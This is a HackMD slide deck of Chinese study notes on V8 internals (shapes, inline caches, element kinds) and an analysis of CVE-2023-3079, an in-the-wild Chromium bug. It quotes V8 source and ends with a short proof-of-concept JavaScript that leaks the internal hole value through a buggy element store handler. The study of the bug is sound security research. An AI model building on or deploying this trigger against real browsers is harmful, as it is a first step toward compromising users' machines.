# Browser 筆記
<style>
.reveal h1 {
font-size: 96px;
}
.reveal h2 {
font-size: 72px;
}
.reveal h3 {
font-size: 64px;
}
.reveal {
font-size: 32px;
}
</style>
<!-- Put the link to this slide here so people can follow -->
slide: https://hackmd.io/@atdog/BJ4tbd1-0
---
最近想學學 Browser
但真的肥
---
所以打算把這些過程記錄起來
有興趣可以一起摸他個兩下
---
## 🌰 CVE-2023-3079
- Chromium
- V8
- in the wild
---
### 關於 Chromium 的 JS compiler pipeline 演進
----
## 2010

----
## 2015

----
## 2016

----
## 2017 早期

----
## 2017 後期

----
### 也就是目前的版本
- Interpreter: Ignition
- Optimizer: TurboFan
---
## 小背景
- https://mathiasbynens.be/notes/shapes-ics
- Hidden Class
- Inline Cache
----
## JSObject Property

----
## JSArray Property

----
## JSArray Property

----
## Shape (Hidden Class)

----
## Shape

----
## Shape

----
## Shape Chain

----
## Shape Tree

----
## Shape Tree

----
## 如果是這樣
```javascript
const point = {};
point.x = 4;
point.y = 5;
point.z = 6;
```
----
## Shape Table

----
## Shape Table

----
## JSArray Shape

----
## JSArray Shape

----
`shape == hidden class == map`
---
## Inline Cache
----
## Interpreter

----
## Cache Slot

----
## Cache Slot

----
## Cache Miss

----
`monomorphic`
`polymorphic`
`megamorphic`
---
## V8 Memory layout

---
大部分狀況下 Properties & Elements 都是 array 的形式
叫做 `Fast Properties` & `Fast Elements`
---
### Elements
`Packed` v.s. `Holey`
----
## Packed Elements - 一坨的
`let a = ["test"]`
- map: <Map\[16\](PACKED_ELEMENTS)> \[FastProperties\]
`let a = [1]`
- map: <Map\[16\](PACKED_SMI_ELEMENTS)> \[FastProperties\]
----
## Holey Elements - 有洞的
`let a = {10: "test"}`
- map: <Map\[28\](HOLEY_ELEMENTS)> \[FastProperties\]
```yaml
- elements: 0x333e001cc619 <FixedArray[32]> {
0-9: 0x333e0000026d <the_hole>
10: 0x333e00002765 <String[1]: #2>
11-31: 0x333e0000026d <the_hole>
}
```
----
`console.log(arr[5])`
undefined
---
### 差不多可以來看洞
先看看別人做的分析
----

----

----

----

----
## quick analysis from X
- `a[0] = 1`

----
## quick analysis from X
- `a['key'] = 1`

----
我就是生不出 StoreInArrayLiteralIC :+1:
----
## 從 Diff 開始

---
## IC 有兩種 Handler
Property & Element
---
`StoreElementHandler()`
就是用來生出塞 element 時要的 handler
---
## StoreFastElementBuiltin
```cpp
Handle<Code> StoreHandler::StoreFastElementBuiltin(Isolate* isolate,
KeyedAccessStoreMode mode) {
switch (mode) {
case STANDARD_STORE:
return BUILTIN_CODE(isolate, StoreFastElementIC_Standard);
case STORE_AND_GROW_HANDLE_COW:
return BUILTIN_CODE(isolate,
StoreFastElementIC_GrowNoTransitionHandleCOW);
case STORE_IGNORE_OUT_OF_BOUNDS:
return BUILTIN_CODE(isolate, StoreFastElementIC_NoTransitionIgnoreOOB);
case STORE_HANDLE_COW:
return BUILTIN_CODE(isolate, StoreFastElementIC_NoTransitionHandleCOW);
default:
UNREACHABLE();
}
}
```
---
## 可以知道 :shit:
- IsJSArgumentsObjectMap() -> 特別的 object
- IsFastElements()
- ! STANDARD_STORE
- STORE_AND_GROW_HANDLE_COW
`StoreFastElementIC_GrowNoTransitionHandleCOW`
---
## Inconsist
```cpp
Maybe<bool> JSObject::AddDataElement(Handle<JSObject> object, uint32_t index,
Handle<Object> value,
PropertyAttributes attributes) {
...
// [ 2 ] Change to Holey Element Kind if needed
// 1. If the elements kind of the object is already holey
// 2. If object is not a JSArray
// 3. If index is larger than the length of the JSArray
if (IsHoleyElementsKind(kind) || !object->IsJSArray(isolate) ||
index > old_length) {
to = GetHoleyElementsKind(to);
kind = GetHoleyElementsKind(kind);
}
to = GetMoreGeneralElementsKind(kind, to);
...
}
```
---
## Backtrace
- KeyedStoreIC::Store
- UpdateStoreElement
→ StoreElementPolymorphicHandlers
→ StoreElementHandler :bug:
---
### 那要怎麼戳到 `KeyedStoreIC::Store`
---
`v8::internal::Runtime_KeyedStoreIC_Miss()`
```cpp
if (IsKeyedStoreICKind(kind) || IsDefineKeyedOwnICKind(kind)) {
KeyedStoreIC ic(isolate, vector, vector_slot, kind);
ic.UpdateState(receiver, key);
RETURN_RESULT_OR_FAILURE(isolate, ic.Store(receiver, key, value));
}
```
---
## IGNITION_HANDLER
```cpp=
IGNITION_HANDLER(SetKeyedProperty, InterpreterAssembler) {
TNode<Object> object = LoadRegisterAtOperandIndex(0);
TNode<Object> name = LoadRegisterAtOperandIndex(1);
TNode<Object> value = GetAccumulator();
TNode<TaggedIndex> slot = BytecodeOperandIdxTaggedIndex(2);
TNode<HeapObject> maybe_vector = LoadFeedbackVector();
TNode<Context> context = GetContext();
TNode<Object> result = CallBuiltin(Builtin::kKeyedStoreIC, context, object,
name, value, slot, maybe_vector);
ClobberAccumulator(result);
Dispatch();
}
```
---
## `d8 --print-bytecode`
- Ignition Call
- SetNamedProperty
- `a["key"] = value`
- SetKeyedProperty
- `a[1] = value`
---
## 導致 Argument 可以利用的另外個原因
JS Engine Checks
`JSArray` -> `property length`
`! JSArray` -> `elements table size`
---
### 來看看 poc 吧
---
```javascript
function getargs() {
return arguments;
}
function key_store(obj, key, val) {
obj[key] = val;
}
let arr = getargs(1, 2, 3);
for(let i = 0; i < 10; i++) {
key_store(arr, 'k', 1); // MONOMORPHIC with property handler instead
}
key_store([], 0, 1); // POLYMORPHIC + Packed element handler
key_store(arr, arr.length, 1); // Call buggy element handler
console.log(arr[arr.length + 1]); // print "hole"
```
{"description":"View the slide with \"Slide Mode\".","contributors":"[{\"id\":\"60628c5b-b3b3-4e28-ad05-05960eaf8407\",\"add\":13744,\"del\":6274}]","title":"CVE-2023-3079"}